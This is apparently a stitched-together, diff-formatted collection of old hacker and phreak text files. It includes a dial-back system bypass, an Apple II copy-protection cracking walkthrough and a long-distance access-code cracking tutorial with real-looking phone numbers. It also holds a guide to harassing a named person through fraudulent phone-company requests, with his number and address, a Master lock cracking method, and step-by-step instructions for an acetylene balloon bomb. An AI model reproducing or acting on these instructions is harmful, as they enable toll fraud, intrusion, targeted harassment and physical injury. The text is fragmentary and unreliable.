+can undo years of work by a multi-million dollar company. Hacking gives the
+underdog a chance to fight and win.
+
+Hacking guides often end with a disclaimer: this information is for
+educational purposes only, be an ethical hacker, don't attack systems you
+don't have permission to, etc. I'll say the same, but with a more rebellious
+conception of "ethical" hacking. Leaking documents, expropriating money from
+banks, and working to secure the computers of ordinary people is ethical
+hacking. However, most people that call themselves "ethical hackers" just work
+to secure those who pay their high consulting fees, who are often those most
+deserving to be hacked.
+
+Hacking Team saw themselves as part of a long line of inspired Italian design
+[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
+and government, as part of a long tradition of Italian fascism. I'd like to
+dedicate this guide to the victims of the raid on the Armando Diaz school, and
+to all those who have had their blood spilled by Italian fascists.

+                       ::>Written by Spitfire Hacker<::
+
+     SAM is a security system that is being used in many colleges
+today as a security feature against intrusion from the outside.  This
+system utilizes a dial-back routine which is very effective.  To
+access the computer, you must first dial the port to which SAM is
+hooked up.  The port for one such college is located at (818) 885-
+2082.  After you have called, SAM will answer the phone, but will make
+no other responses (no carrier signals).  At this point, you must
+punch in a valid Login Identification Number on a push-button phone.
+The number is in this format -- xxyyyy -- where xx is, for the number
+mentioned above, 70.  'yyyy' is the last 4 digits of the valid user's
+telephone number.
+     If a valid LIN is entered, SAM will give one of 3 responses:
+1) A 1 second low tone
+2) A 1 second alternating high/low tone
+3) A tone burst
+
+Responses 1 and 2 indicate that SAM has accepted your passcode and is
+waiting for you to hang up.  After you hang up, it will dial the valid
+users phone number and wait for a second signal.
+
+Response 3 indicates that all of the outgoing lines are busy.
+
+If SAM accepts your passcode, you will have to tap into the valid
+users line and intercept SAM when it calls.  If you do this, then hit
+the '*' key on your phone.  SAM will respond with a standard carrier,
+and you are in!
+
+That's all that I have hacked out so far, I will write more
+information on the subject later.

+
+About 3 or four years ago, a real good friend of mine was teaching a ML
+Programming course for the Apple 2 series.  I, being a good friend and
+quite bored, asked him about cracking Apple games.  He told me that he had
+spent the last summer cracking programs.  He showed me a method that he came
+up with entirely on his own, boot tracing.  Little did he know that this was
+already quite popular but he developed his own method for doing it which from
+reading other files about it, is the simplest I've ever seen.  (To give you
+an idea, I had SN0GGLE (I've never played the game but a friend had it on
+disk.) completely loaded into memory ready to be dumped in about 12 minutes.)
+Ok, first of all, ALL programs can be boot traced. The only thing is that some
+may not be easily converted into files.  The only programs that you should try
+if you aren't real good at ML, are ones that load completely into memory. Also
+to do this you will need a cassette recorder. (don't worry the program we will
+save won't take too long to save, and if all goes well it will only be saved
+loaded once.) I hate learning the theory behind anything so I'm not gonna
+give any theory behind this. If you want the theory, read some other phile
+that does this the hard way.
+
+First make sure your cassette recoder works by BLOADing some program and
+typing:
+CALL -151
+AA60.AA73
+You'll see something that looks like this:
+AA60-30 02 xx xx xx xx xx xx
+AA68-xx xx xx xx xx xx xx xx
+AA70-xx xx 00 08
+or whatever...The 30 02 is the length ($0230 bytes). The 00 08 is the starting
+address ($0800).  Oh well, now you need to try and save the program. Type:
+800.A2FW   (A2F=$800+$230-1)
+1000<800.A2FM
+800:00 N 801<800.A2FM
+800.A2FR
+1000<800.A2FV
+
+Once you are sure that the cassette works, (by the way do be stupid and try
+that on a //c!) we can get to the good stuff...
+First move the ROM boot-up code into RAM...(all steps will be from the
+monitor * prompt.)
+8600<C600.C6FFM
+86F9:5C FF
+(Now load in step 1 of the boot.)
+8600G
+C0E8  (turn the drive off)
+(Now you have successfully loaded in track 0 sector 0) Now since we won't want
+to overwrite what we've loaded in this time, Type:
+8500<800.8FFM
+86F9:01 85
+8501L
+Lets see what you've gotten...
+First see if they move this part into the keyboard buffer. (A lot of programs
+do this and the boot trace files that I've read don't even deal with this.)
+LDX 00
+LDA 800,X
+STA 200,X
+INX
+BNE $803
+JMP $211  (or any $2xx)
+(sometimes done with Y's instead of X's.)
+Then the next part will scramble what's in $08xx. but we don't have to worry
+about that. Anyways find that JMP $2xx and change it to 4C xx 85 leaving the
+xx the same. Usually this will be the next address but just to be safe...
+Ok, now scan the code for any other JMP's if you find one that's direct
+(indirect ones have the address in parenthesis) change it to 4C 5C FF, but
+write down the location that it used to jump to first so you know where to
+look.  It'll probably be 301 or B700. If it's the B700, you got lucky.  If it's
+the 301 then you've got some more work ahead. If it was an indirect JMP, most
+likely it was JMP ($003E). No if you change that to 4C 5C FF then check 3E
+from monitor you'll find that 3E is 00 and 3F is 3E...Monitor uses that
+place in zero page for its current memory location. So what you need to do is
+8400:A5 3F 00 20 DA FD A5 3E 20 DA FD 4C 5C FF
+then change that indirect jump to
+85xx:4C 00 84
+(by the way if the indirect jump is anything other than 3E then most likely
+you can can just look at it from monitor if not write a little routine like
+the one above to print out the address hidden. (Oh, check the location after
+the next run. For now change it to 4C 5C FF.))
+Anyways this little game will probably go on no longer than 2 or 3 loads, each
+time just move the newly loaded part to another part of memory and change the
+jump to jump to monitor (4C 5C FF) and the jump from the part before it to
+go to the moved code.
+When you find the part that JMP's up to a high area of memory (usually $B700)
+you're almost done. The exit routine of the will most likely be the start of
+the program.  Once you intercept it there, all you have to do now is save it to
+cassette and re-load DOS.  The starting address for saving should be the
+address that the B700 routine exits through. If this is higher than $6000 then
+start saving at $2000 to get the Hi-Res pictures. Using WXYZ as your starting
+address type:
+WXYZ.9CFFW   (This will have the main program.)
+800.WXYZW    (Save this are in case there is something needed down here we
+              don't have to start over from scratch.)
+Ok now reboot:
+C600G   (with a DOS disk in the drive!)
+CALL -151
+WXYZ.9CFFR
+Bsave PROGRAM,A$WXYZ,L$(Whatever 9CFF-WXYZ+1 is)
+If the it gives you an error the file is too big. A quick DOS patch to fix
+that is:
+A964:FF
+and try again.
+Now that the program is saved, try and run it. (It's a good idea to take the
+disk out of the drive, there's no telling what the program might try and do
+if it sees that DOS is loaded in.)
+WXYZG
+(If it works, just to make sure that it's a good crack, power down the system
+and try and BRUN it after a cold boot.)
+If your saved the pictures with the program, most likely, it won't run. You
+need to add a JMP at 1FFD to JMP to the main program. Then re-BSAVE it with a
+starting address of A$1FFD, and add 3 to the length.  If the program tries to
+go to the drive while its running, I'd suggest giving up unless you really
+understand non-DOS disk usage. (but if you did you probably wouldn't be
+reading this.)  If you get a break at an address less than $2000 then you need
+to load in the second program that you saved to cassette. Put a jump in at
+$800 to the main program and save the whole damn thing. If it still don't work
+you're gonna need to really get fancy.
+Now that you've got the thing running, it's time to figure out what is used and
+what is just wasted memory. This is where I really can't help you but just
+make sure that you keep a working copy and before every test power down the
+machine to clear anything that might be remaining.
+
+Have phun and good luck.....

+THE PHONE PHREAK'S FRY-UM GUIDE
+
+
+COMPILED BY THE IRON SOLDIER
+
+WITH HELP FROM DR. DOVE
+
+
+NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN
+      MORE IN THE ART OF VENGENCE IT WILL ALWAYS EXPAND.
+
+
+"Vengence is mine", says the Phreak.
+
+
+        METHOD 1-PHONE LINE PHUN
+
+Call up the business office.  It should be listed at the front of the white
+    pages.  Say you wanted to diconnect Scott Korman's line. DIAL 800-xxx-xxxx.
+    "Hello, this is Mr. Korman, I'm moving to California and would like to have
+    my phone service disconnected. I'm at the airport now.  I'm calling from a
+    payphone, my number is  [414] 445 5005. You can send my final bill to
+    :(somewhere in California.  Thank you."
+
+
+        METHOD 2-PHONE BOOKS
+
+Call up the business office from a pay phone.  Say "Hello, I'd like to order a
+    Phone Book for Upper Volta (or any out-of-the way area with Direct
+    Dialing).  This is Scott Korman, ship to 3119 N. 44th St. Milwaukee, WI
+    53216.  Yes, I under stand it will cost $xx($25-$75!!). Thank you."
+
+
+        METHOD 3-PHONE CALLS
+
+Call up a PBX, enter the code and get an outside line.  Then dial 0+ the number
+    desired to call.  You will hear a bonk and then an operator.  Say, "I'd
+    like to charge this to my home phone at 414-445-5005. Thank you."  A friend
+    and I did this to a loser, I called him at 1:00 AM and we left the fone off
+    the hook all night.  I calculated that it cost him $168.
+
+
+        METHOD 4-MISC SERVICES
+
+Call up the business office once again from a payfone.  Say you'd like call
+    waiting, forwarding, 3 way, etc.  Once again you are the famed loser Scott
+    Korman.  He pays-you laugh.  You don't know how funny it was talking to
+    him, and wondering what those clicks he kept hearing were.
+
+
+        METHOD 5-CHANGED & UNPUB
+
+Do the same as in 4, but say you'd like to change and unlist your (Scott's)
+    number.  Anyone calling him will get:
+    "BEW BEW BEEP.  The number you have reached, 445-5005, has been changed to
+    a non-published number.  No further....."
+
+
+        METHOD 6-FORWRDING
+
+    This required an accomplise or two or three.  Around Christmas time, go to
+    Toys 'R' Us.  Get everyone at the customer service or manager's desk away
+    ("Hey, could you help me").  then you get on their phone and dial (usually
+    dial 9 first) and the business office again. This time, say you are from
+    Toys 'R' Us, and you'd like to add call forwarding to 445-5005.  Scott will
+    get 100-600 calls a day!!!
+
+
+         METHOD 7-RUSSIAN CALLER
+
+    Call a payphone at 10:00 PM.  Say to the operator that you'd like to book a
+    call to Russia.  Say you are calling from a payphone, and your number is
+    that of the loser to fry (e.g. 445-5005). She will say that she'll have to
+    call ya back in 5 hours, and you ok that.  Meanwhile the loser (e.g.)
+    Scott, will get a call at 3:00 AM from an operator saying that the call he
+    booked to Russia is ready.
+
+
+
+IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON.

+                           How to Pick Master Locks
+By Gin Fizz & Ninja NYC
+
+    Have you ever tried to impress your friends by picking one of those Master
+combination locks and failed? Well then read on. The Master lock company has
+made this kind of lock with a protection scheme. If you pull the handle of it
+hard, the knob won't turn. That was their biggest mistake...... Ok, now on to
+it.
+
+    1st number.  Get out any of the Master locks so you know what's going on.
+1: The handle part (the part that springs open when you get the combination),
+pull on it, but not enough so that the knob won't move. 2: While pulling on it
+turn the knob to the left until it won't move any more. Then add 5 to this
+number. Congradulations, you now have the 1st number.
+
+    2nd number. (a lot tougher) Ok, spin the dial around a couple of times,
+then go to the 1st number you got, then turn it to the right, bypassing the 1st
+number once. WHEN you have bypassed. Start pulling the handle and turning it.
+It will eventually fall into the groove and lock. While in the groove pull on
+it and turn the knob. If it is loose go to the next groove; if it's stiff you
+got the second number.
+
+    3rd number: After getting the 2nd, spin the dial, then enter the 2 numbers,
+then after the 2nd, go to the right and at all the numbers pull on it. The lock
+will eventually open if you did it right. If can't do it the first time, be
+patient, it takes time.
+
+ Have phun...

+
+
+          Imagine this. A great, inflated, green garbage bag
+slowly wafting down from a tall building. It gains some speed
+as it nears the ground. People look up and say, "What the....?"
+The garbage bag hits! *BOOM!!!* It explodes in a thundering
+fireball of green bits of plastic and flame!
+          "What is this?" you may ask. Well, this is the great
+"Acetylene Balloon Bomb." And here is how to make it.
+
+Ingredients:
+============
+(1>       For a small bomb: a plastic bag. Not too big.
+          For something big(ger): a green, plastic garbage bag.
+
+(2>       Some "Fun-Snaps". A dozen should be more than enough.
+
+(3>       Some garbage bag twisties. String would also do.
+
+(4>       A few rocks. Not too heavy, but depends on size of
+          bomb and desired velocity of balloon/bomb.
+
+(5>       PRIME INGREDIENT: Acetylene. This is what is used in
+          acetylene torches. More on this substance later.
+
+(6>       One or more eager Anarchists.
+
+NOTES:
+======
+Acetylene is a fairly dangerous substance. It is unstable upon
+contact with oxygen (air). For this reason, and for your
+safety, I recommend you keep all of the acetylene AWAY from any
+source of oxygen. This means don't let it get in touch with
+air.
+
+
+Construction:
+=============
+(1>       Fill up a bathtub with cold water. Make it VERY full.
+(2>       Now get put you garbage bag in the water and fill it
+          with water. Make sure ALL air/oxygen is out of the
+          bag before proceeding.
+(3>       Now take your acetylene source (I used it straight
+          from the torch, and I recommend this way also.), and
+          fill the bag up with acetylene.
+(4>       Now, being careful with the acetylene, take the bag
+          out of the tub and tie the opening shut with the
+          twisty or string. Let the balloon dry off now. (Put
+          it in a safe place.)
+(5>       Okay. Now that it is dry and filled with acetlene,
+          open it up and drop a few rocks in there. Also add
+          some Fun-Snaps. The rocks will carry the balloon
+          down, and the Fun-Snaps will spark upon impact, thus
+          setting off the highly inflammable acetylene.
+          *BABOOM!*
+(6>       Now put the twisty or string back on VERY tightly.
+          You now have a delicate but powerful balloon bomb.
+
+To use:
+=======
+Just drop off of a cliff, airplane, building, or whatever. It
+will hit the ground a explode in a fireball. Be careful you are
+not near the explosion site. And be careful you are not
+directly above the blast or the fireball may rise and give you
+a few nasty burns.
+
+Have fun!
+But be careful...
+
+NOTE: I, The Clashmaster, am in NO WAY responsible for the use
+===== of this information in any way. This is for purely
+      informational purposes only!

+
+         Welcome to Phrack Pro-Phile 7. Phrack Pro-Phile is created to bring
+info to you, the users, about old or highly important/controversial people.
+This month, I bring to you a user from the golden years of hacking and
+phreaking...
+
+                                  Dave Starr
+                                  ~~~~ ~~~~~
+
+         Dave is one of the old phreakers and hackers that accomplished so
+much through voice phreaking and literal hacking rather than reading others'
+findings to learn.  A master engineer, voice phreaking is one unto itself.
+Dave has a PhD in B.S.
+-------------------------------------------------------------------------------
+Personal
+~~~~~~~~
+             Handle: Dave Starr
+           Call him: Dave Starr
+       Past handles: Micronet Phantom and Big Brother
+      Handle origin: Micronet Phantom came from working with The Source
+                     computer and Big Brother, of course, came from George
+                     Orwell's 1984.
+      Date of Birth: 5/6/62
+Age at current date: 24
+             Height: 6' 0"
+             Weight: 170 lbs.
+          Eye color: Brown
+         Hair Color: Light Brown
+          Computers: TRS-80 (4k version), Apple ][, ][+, ][e
+  Sysop/Co-Sysop of: Starcom Network
+
+-------------------------------------------------------------------------------
+         Dave started out on The Source, and stuck with them for 6 to 8 months
+hacking around the system because the system was so slow security-wise, and of
+course, from there, he got involved with hacking Primes.  One of the security
+agents named Paul from Dialcom got in contact with Dave and discussed Dave's
+hacking on The Source (his system).  After talking, they found they had common
+interests, which included hacking and phreaking.  Paul gave Dave his first
+code to a local dial-up for Sprint. He also led him in the direction of 8BBS,
+which brought him to meet the best of the nation's phreakers and hackers at
+the time, which included Susan Thunder, Roscoe DuPran, and Kevin Mitnick.
+Susan and Roscoe were strong friends of Dave that he personally met as well as
+Kevin, but he never met Kevin.  He met Susan in the L.A. County Courthouse
+testifying against her, with Susan and Roscoe using these handles as real
+names on the charges of harassment.  The phreak/hack BBS's that were most
+memorable for Dave were 8BBS and his own, Starcom Network, which had hidden
+commands for accessing the phreak section.  Starcom Network was a nationally
+networked system that Dave created and operated.  This was a virtual copy of
+The Source, for which he went to court over.  They claimed it was their
+system, but he supressed them with a threat of publicity.  Modem Over
+Manhattan was another memorable board on a TRS-80.  He attributes his phreak
+knowledge to Paul from Dialcom and to The Source for his hacking ability as
+well as Susan Thunder for information on RSTS.
+
+         Dave Starr does intelligence and counter-intelligence work for anyone
+who has money and who is not against the United States or the views of the
+United States.
+
+         Dave has always operated independently, never being a member of a
+club or group, and has hand-picked his partners.
+
+-------------------------------------------------------------------------------
+
+        Interests: Telecomputing (phreaking and hacking), movies, a
+                   fascination with the match-making systems (Dial-Your-Match
+                   type systems), fun, video components.
+
+Dave's Favorite Things
+----------------------
+
+       Women: A quiet evening with the girlfriends (NOTE: Plural).
+        Cars: Mercedes 450-SL (his girlfriend's).
+       Foods: Italian.
+       Music: Anything excluding acid rock/heavy metal.
+     Leisure: Smoking, but he hates cigarettes.
+
+Most Memorable Experiences
+--------------------------
+
+Bringing The Source's system to their knees.
+The Source hackers made demands of a rate of reduction to a minimum of a 33%
+ decrease, which was sent with the comment, "I am in business so I understand
+ the money, but you are becoming too fucking greedy."  Also, an article in
+ Source-World magazine was demanded, bigger than the one in the last issue
+ which was to contain the following: how long they'd been on the Source, why
+ they were doing this, The Source's demented point of view, their correct
+ point of view, how long they have been terrorizing the Source, and an apology
+ for lying to all the users that the rate increase was necessary, AND an open
+ apology to The Pirate and Micronet Phantom saying sorry for all the trouble
+ The Source had caused them in their quest for fair and free Sourcing.  They
+ wanted 2 seclev 4 accounts (normal is 3).  They assured The Source that they
+ could get them here for free, and low-and-behold, they could create anything,
+ but they didn't want the harassment.  If they did get harassed, they would
+ immediately log in under seclev 7 and kill the system.  The threatened that
+ various accounts would be killed (all with seclev 4 and up).  The Source
+ person wrote, "Was this ever answered?".  They then went on to say that they
+ wouldn't do any more terrorizing provided that it was responded to their
+ acct. within 20 minutes.
+For deleting an account, he sent back a message saying, "Fuck you".  He
+ explained how they were powerless against The Pirate and Micronet Phantom,
+ and how The Source shouldn't even try to catch them.  They were to continue
+ to attack "The Empire" (The Source) until it was fair for the users.
+Numerous other letters that played to the same tune.
+
+Some People to Mention
+----------------------
+
+TCA Vic of The Source - Customer Service Manager/Gestapo Police
+                        (Who he dearly hated and always has thought of
+                         sticking a broomstick up his ass)
+Paul of Dialcom (Introduced him to phreaking and put his paranoia to rest)
+Susan Thunder (For teaching him RSTS and other things)
+Bruce Patton (On his rag list due to a disagreement.  He received a
+              electricity shut-down and a phone system shut-down of his law
+              office as well as forwarding all calls to the 8BBS)
+Roscoe DuPran (For having him go to court with him and meeting Susan in
+               person and for many other things [unmentionable here])
+The Pirate of Las Vegas (For his helpful continual harassment of The Source)
+Kevin Metnick (For his infrequent but helpful service)
+Larry of Modem Over Manhattan (For being there and his BBS being there)
+Bernard of 8BBS (For being there and his BBS being there)

+
+I hope you enjoyed this file, look forward to more Phrack Pro-Philes coming in
+the near future.  ...And now for the regularly taken poll from all interviewees.
+
+Of the general population of phreaks you have met, would you consider most
+phreaks, if any, to be computer geeks?  Only The Pirate, a 13 year old, fit
+this description.  Thank you for your time, Dave.

+
+This file was originally intended to be a "data file" of info on TMC ports,
+formulas, etc, but I decided that it would serve a better use as a "tutorial"
+of sorts. But first a bit of background info...
+
+Who is TMC?
+
+TMC (TeleMarketing Communications) is a long distance service serving all 50
+states.  While not as well known as MCI or Sprint, they are a fairly large
+company.  They are capable of setting up business communications systems,
+PBX's, and residential service.  Unlike most LDC's, however, they operate on a
+"franchise" basis, which means that each franchise of the company has little
+information about any other franchise, although they do use the same lines and
+the same type of equipment.
+
+So, what can they do for me?
+
+Well, for most of us, TMC offers many new potentials for abuse.  One of the
+primary weak points of the company is the code formats that they decided to
+use.  Codes on all TMC ports are seven digits.  If they were generated
+randomly, this would be a reasonably secure system from sequential code
+hacking.  But TMC doesn't use random codes. Instead, they use a checksum based
+formula system, with different formulas on each port.  I assume that this is
+because they wanted a wide displacement of the codes over the seven-digit
+series, so that a sequential code hacker wouldn't be able to get 2 or 3 good
+codes in a row.  Or perhaps they are just very stupid.  In any case, it's
+interesting that they seem to have never thought of what could happen if
+anyone ever managed to figure out any of these formulas. Anyway, that's what
+this file is about.
+
+Great!  What else can you tell me?
+
+Well, TMC seems to use some form of the Dimension PBX system for their billing
+system (Their ads say that the switching equipment is digital).  This makes
+TMC ports easily identifiable by the "Hi-Lo" bad code siren.  For those who
+worry about such things, TMC is one of the "safer" companies to use. This is
+largely because, unlike "unified" companies like MCI, TMC franchises don't
+really care if another franchise is losing money. Since each franchise is
+independent of all others, there are many 800 ports, one for each franchise.
+If you use an out-of-state 800 port, you are free from such worries as ANI,
+which I have never perceived as a major threat to the code-user anyway.  Also,
+TMC offers lots of opportunities for the aspiring security consultant
+(hehehe).
+
+Ok, so where's some real info?
+
+Right here.  I am going to explain as much about TMC hacking as I can manage,
+without actually handing out codes.  First, an example port. The example I am
+using is the 800 port for Louisville, KY.
+
+1-800-626-9600
+
+This is the port.  If you are not familiar with TMC, you may want to call it
+to see what it sounds like.  So let's say you call it and recognize it as a
+TMC.  What next?  Well, a good bet would be to run a standard "code-hack"
+program on it...  Set it for seven digits, 1+ the number, and note that TMC
+codes start with 0 on more than 50% of the ports I have seen. So let's say
+that you then get this list of (fictional) codes...
+
+0347589
+0347889
+0348179
+0350358
+0355408
+
+At first glance, this may look like a series of "random" numbers.  But, look
+closer.  These numbers are based on a checksum.  It is as follows...
+
+Code Format: 03xabcy
+x+y=13
+(In the first code, x=4 and y=9, and, of course, 4+9=13)
+a+c=15
+(Here, a=7 and c=8, and 7+8=15)
+b=1 to 9
+(Digit "b" is unrelated to the rest of the numbers.  It could, for example, be
+varied from 1-9 to possibly find more working codes)
+
+Also note that 0+5 would equal 15, since the 0 is really a 10. Really!
+
+Please note that the above formula is only fictional.  I wouldn't want to
+possibly cause loss to TMC by giving away codes on their system!
+
+Is that all?
+
+No, of course not.  TMC, in their love of telecom enthusiasts, has also put an
+additional prize in the Krackerjack box.  The vast majority of TMC ports have
+"Outside Line" codes, which is a 2 or 3 digit number, that, when entered after
+certain codes, will give an AT&T dialtone.  This is apparently a holdover from
+the fact that they are using PBX equipment.  Anyway, if anyone is asking why
+you'd want an AT&T dialtone, (does anyone need to ask?) it will allow
+unrestricted calling.  This, of course, means 976's, 900's, Alliance
+Teleconf., international calling, etc... Naturally, I can't list any of these,
+but I can say that if it is 2 digits, it would start with any number from 2-9
+and end in 8 or 9.  If it is three digits, it will almost always start with 6,
+and be followed by any two digits. Some possible outside line codes would be
+59, 69, 89, 99, 626, 636, 628, etc...  These, of course, are only examples of
+possible codes. As I mentioned, these O/S line codes are entered after the
+seven digit code.  The O/S line codes only work after certain 7-digit codes,
+and from my experience, the 7-digit codes that they work with normally can't
+be used for the usual 7 digits+1+number dialing. I can find no apparent
+pattern to the codes that they do work with, so you will have to find them by
+trial-and-error.
+
+What, you want more?
+
+Ok, well, here's a few 800 ports...
+
+1-800-433-1440     1-800-227-0073     1-800-331-9922     1-800-451-2300
+1-800-354-9379     1-800-248-4200     1-800-531-5084     1-800-351-9800
+
+Closing.
+
+Please note that this article is only intended as an overview of TMC and why
+they would/wouldn't be a good choice for your long distance needs.  And
+goodness me, don't use any of this information in an illegal way!

+        PART 1: Logging in & out
+When you connect to a VM/370 system hit RETURN till you see:
+
+VM/370
+!
+
+To logon you type:
+logon userid ('logon' may be abbreviated to 'l')
+If you enter an invalid userid, It will respond with a message:
+'userid not in cp directory'.
+If it is valid you with get:
+ENTER PASSWORD:
+Enter your password, then your in, hopefully....
+
+Logging Out:
+Type:
+log
+
+        PART 2: Loading CMS & Getting set up
+When you logon, if you do not see the message 'VM/SP CMS - (date) (time)
+you will need to load 'CMS' (CMS in a command interpreter).
+Type:
+cp ipl cms
+You should then see something like this:
+R; T=0.01/0.01 08:05:50
+
+Now you will be able to use both CP & CMS commands...
+Some system my think you are using an IBM 3270 Terminal, if you can
+emulate a 3270 (for example with Crosstalk) do so, if not type:
+set terminal typewriter or set terminal dumb

+Wildcards can be used, so:
+filelist t*
+list all files beginning with a 't'.
+Filenames are made up of a FILENAME and FILETYPE
+
+You can list a file by typing:
+listfile filename filetype
+
+Other file commands are: copyfile, erase, and rename, they all work with
+FILENAME FILETYPE.
+
+        PART 4: Editing your files
+I'm going to keep this down to the basics and only discuss one editor
+XEDIT. To use XEDIT type:
+xedit filename filetype
+Once in XEDIT, enter the command 'input' to enter text, hit a RETURN on
+a blank line to return to command mode, then enter the command 'FILE' to
+save your file.
+
+        PART 5: Communicating with others on the system
+Sending & receiving 'NOTES':
+To send a 'NOTE' to another user type:
+note userid
+
+You will then be in the XEDIT subsystem, see PART 4.
+Once you are done writing your NOTE, save the file and type:
+send note
+
+This will send the NOTE to userid.
+You can also use the SEND command to send other files by typing:
+send filename filetype userid.
+
+Sending messages:
+You can use the TELL command to communicate with a user who is current
+logged on, type:
+tell userid Help me!
+
+        PART 6: Getting Help

+=Part I=
+========
+
+
+The Circuit Switch Digital Capability (CSDC) allows for the end to end digital
+transmission of 56 kilobits per second (kb/s) data and, alternately, the
+transmission of analog voice signals on a circuit switched basis.
+
+=====================
+=Network Perspective=
+=====================
+
+
+The CSDC feature was formerly known as PSDC (Public Switched Digital
+Capability). These two terms can be used synonymously. The CSDC feature
+provides an alternate voice/data capability. If a SLC Carrier System 96 is
+used, digital signals are transmitted by T1 signal. If the loop is a two wire
+loop, the CSDC feature utilizes time compression multi-plexing (TCM) which
+allows for the transmission of digital signals over a common path using a
+separate time interval for each direction. During a CSDC call an end user may
+alternate between the voice and data modes as many times as desired. The CSDC
+feature can support sub-variable data rates from customer premises equipment,
+but a 56 kb/s rate is utilized in the network. Some possible applications of
+the CSDC feature are:
+
+     1. Audiographic Teleconferencing.
+     2. Secure Voice.
+     3. Facsimile.
+     4. Bulk Data.
+     5. Slow scan television.
+
+The ESS switch provides end user access and performs signalling, switching,
+and trunking functions between the serving ESS switch and other CSDC offices.
+End users of CSDC require a network channel terminating equipment circuit
+(NCTE) which is the SD-3C476 or its equivalent. End user access is over 2-wire
+metallic loops terminating at the metallic facility terminal (MFT) or SLC
+Carrier System. End users not served directly by a direct CSDC ESS office, can
+access CSDC equipment through a RX (Remote Exchange) access arrangement via
+use of a D4 Carrier System and if required, a SLC Carrier System. The
+T-Carrier trunks serve for short haul transmissions while long haul
+transmissions are served by digital microwave radio and other digital systems.
+
+If the NCTE interface is used with customer premises equipment, a miniature
+8-position series jack is used to connect the NCTE to other equipment. The
+jack pins are paired off; data transmit pair, data receive pair, a voice pair,
+and a mode switch pair. The data pairs support the simultaneous transmission
+and reception of digital data in a bipolar format at 56 kb/s. The data pairs
+also provide for the xmission of control information to and from the network.
+The voice pairs supports analog signal transmission and provides for call
+setup, disconnect and ringing functions. The mode control pair provides
+signals to the network when a change in mode (voice to data/data to voice) is
+requested by the customer.
+
+A CSDC call is originated over a 2-wire loop which can also be used for
+Message Telecommunication Service (MTS) calls. Lines may be marked (MTS/CSDC
+or CSDC only). Touch tone is needed to originate a CSDC call. Originations may
+be initiated manually or with Automatic Calling Equipment (ACE) if available.
+Digit reception, transmission and signalling follow the same procedures used
+for a MTS outgoing call on CCIS or non-CCIS trunks. However CSDC calls are
+ALWAYS routed over digital transmission facilities.
+
+
+
+The long term plan also allows for EA-MF (Equal Access-Multi Frequency)
+signalling and improved automatic message accounting (AMA) records. A CSDC
+call is screened to ensure that the originating party has CSDC service and
+that the carrier to be used provides 56 kb/s voice/data capability. A blocked
+call is routed to a special service error announcement. Non-CSDC calls are not
+allowed to route over CSDC-only carriers. Non-payer screening is not allowed
+for CSDC calls using CCIS signalling.
+
+A CSDC call is routed directed to the carrier or indirectly via the Access
+Tandem (AT) or Signal Conversion Point (SCP). The call is terminated directly
+from the carrier to the end office or indirectly via the AT or SCP. Signalling
+for direct routing is either CCIS or EA-MF and is assigned on a trunk group
+basis.
+
+The AT is an ESS switch which allows access to carriers from an end office
+without requiring direct trunks. Signalling between end offices and the AT is
+either EA-MF or CCIS. Trunks groups using EA-MF signalling can have combined
+carrier traffic.  Separate trunk groups for each carrier are required for CCIS
+signalling.
+
+The SCP is an ESS switch which allows access to carriers using only CCIS
+signalling from offices without the CCIS capability. Separate trunk groups for
+each carrier are used between the originating end office and the SCP. Separate
+trunk groups are optional between the SCP and the terminating end office and
+the terminating end office. Signalling between the end office and the SCP is
+MF. The SCP must have direct connection to the carrier using CCIS signalling.
+
+=========================
+=Remote Switching System=
+=========================
+
+The RSS can be used as a remote access point for CSDC. The compatibility of
+RSS and CSDC improves the marketability of both features. The RSS design
+allows a provision for the support of D4 special service channel bank
+plug-ins. This provision allows for such applications as off premises
+extensions, foreign exchanges lines, and private lines. Thus the RSS can be
+used as a CSDC access point in a configuration similar to the CSDC RX
+arrangement.
+
+================
+=Centrex/ESSX-1=
+================
+
+The CSDC feature is optionally available to Centrex/ESSX-1 customers. Most of
+the capabilities of Centrex service can be applied to Centrex lines that have
+been assigned the CSDC feature. In voice mode, the Centrex/CSDC line can
+exercise any of the Centrex group features that have been assigned to the
+line. In the voice/data mode, several Centrex features are inoperable or
+operate only on certain calls. The CSDC feature can be provided for a Centrex
+group as follows:
+
+     1. Message Network Basis (MTS)
+     2. IntraCentrex group basis
+     3. InterCentrex group basis
+     4. Any combination of the above
+
+===============================
+=User Perspective for the CSDC=
+===============================
+
+To establish a CSDC call, a CSDC user goes off hook, receives dial tone and
+dials. The dialing format for the CSDC/MTS is as follows for interim plan:
+
+     #99 AB (1+) 7 or 10 digits (#)
+
+The customer dials '#99' to access the CSDC feature. The 'AB' digits are the
+carrier designation code. No dial tone is returned after the 'AB' digits. The
+1+ prior to the 7 or 10 digit directory number must be used if it is required
+for MTS calls.  The '#' at the end is optional, if it is not dialed, end of
+dialing is signalled by a time-out.
+
+The long term dialing format for the CSDC/MTS is as follows:
+
+     #56 (10XXX) (1+) 7 or 10 digits (#)
+
+Dialing '#56' indicates 56kb/s alternate voice/data transmission. the '10XXX'
+identifies the carrier to be used for the call. If '10XXX' is not dialed on an
+inter-LATA call, the primary carrier of the subscriber is used. If '10XXX' is
+not dialed on an intra-LATA call, the telco handles the call. The long term
+plan also allows for several abbreviated forms. Dialing '#56 10XXX #' is
+allowed for routing a call which prompts the customer to dial according to the
+carrier dialing plan. Dialing '#56 10XXX' followed by a speed call is also
+allowed. If a customer has pre-subscribed to a carrier which can carry CSDC
+calls and the CSDC access code is stored as part of the speed calling number,
+the customer dials the speed calling code to make a CSDC call.
+
+Regular ringing is applied to the called line and audible ringing is applied
+to the calling terminal. Once the voice connection is established, either
+party can initiate the switch to data mode, if desired. To initiate a change
+in mode a CSDC user must initiate a mode switch command via a closure of the NCT
+
+An example of a mode switch:
+
+     Suppose party A wants to switch to data. Party A issues a mode switch
+command and receives a signal called far end voice (FEV) which is a bipolar
+sequence (2031 hz at 60 ipm). Party A may now hang up the handset at any time
+after initiating the mode switch command. Party B receives a far end data
+(FED) tone (2031 Hz at 39 ipm) indicating party A wants to switch to data. If
+party B agrees to switch to data, party B must initiate a mode switch command.
+Party B may nor hang up the handset. Data transmission is now possible.
+     To switch to the voice mode, anyone can initiate it. To switch, party A
+would pick up the handset and initiate a mode switch command and will receive
+the FED tone. Party B receives the FEV tone indicating that party A wants to
+go voice. Party B must now pick up the hand set and initiate a mode switch
+command. To terminate a call, either party may just leave the handset on and
+indicate a mode switch. If termination is issued during a mode conflict, time
